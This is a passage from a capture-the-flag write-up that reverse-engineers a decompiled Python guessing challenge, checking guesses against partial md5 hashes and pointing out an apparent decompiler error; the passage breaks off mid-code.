&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; input&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Guess: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;19&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^[a-z]+$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Invalid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The second &lt;code&gt;if&lt;&#x2F;code&gt; statement is taking an md5 hash of our guess string and checking that it matches the hash from our hashes list. The hash converts each &lt;code&gt;.&lt;&#x2F;code&gt; (dot) character to &lt;code&gt;[0-9a-f]&lt;&#x2F;code&gt;. This is necessary to only match on valid md5 hashes, otherwise we exit just as before.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; hashes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;[0-9a-f]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; hashlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;md5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;hexdigest&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;22&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Invalid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And finally, if our guess passes both of those checks it is appended to the &lt;code&gt;guesses&lt;&#x2F;code&gt; list.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;23&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;    guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This &lt;code&gt;guesses&lt;&#x2F;code&gt; list is joined and printed as the flag output provided the program doesn’t exit prematurely by receiving an incorrect guess.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Flag: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guesses&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One important part of the last line, is that the first element of &lt;code&gt;guesses&lt;&#x2F;code&gt; is used as the beginning of our flag which, according to the flag format should correspond to &lt;code&gt;cvctf&lt;&#x2F;code&gt;. With that in mind we should be able to confirm our understanding of the program by finding the md5 hash of &lt;code&gt;cvctf&lt;&#x2F;code&gt; which should match the first hash in &lt;code&gt;hashes&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We can get the md5 hash by running &lt;code&gt;echo -n cvctf | md5sum&lt;&#x2F;code&gt; in our terminal. This gives us an md5 hash of &lt;code&gt;d70146aef5a8e5364791d3006ccd9c00&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Placing the hashes side by side we can see that they match.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d.0.....f5...5.6.7.1.30.6c.d9..0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d70146aef5a8e5364791d3006ccd9c00&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We should be able to test this by entering &lt;code&gt;cvctf&lt;&#x2F;code&gt; as our first guess when running the challenge binary.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ python guesser.pyc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Guess: cvctf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Guess: again&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Invalid&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can see that the program only exited after the guess of “again”, meaning the guess of “cvctf” was correct. That’s great but you may have noticed this seems to contradict a bit of our analysis. Recall that the first &lt;code&gt;if&lt;&#x2F;code&gt; check appeared to exclude any guesses that were 5 characters in length or all lowercase and alphabetic. This exactly matches our guess of “cvctf”!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bad-decompilation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#bad-decompilation&quot; aria-label=&quot;Anchor link for: bad-decompilation&quot;&gt;Bad Decompilation?&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;As we can see, the behavior of the program when running the decompiled code does not match the behavior of the original &lt;code&gt;guesser.pyc&lt;&#x2F;code&gt;. Now I tried several decompilers, and as far as I can tell this is an error in the decompilation process. That line in particular should actually have decompiled to this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; not&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^[a-z]+$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Invalid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Instead of this&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt; len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; or&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^[a-z]+$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: 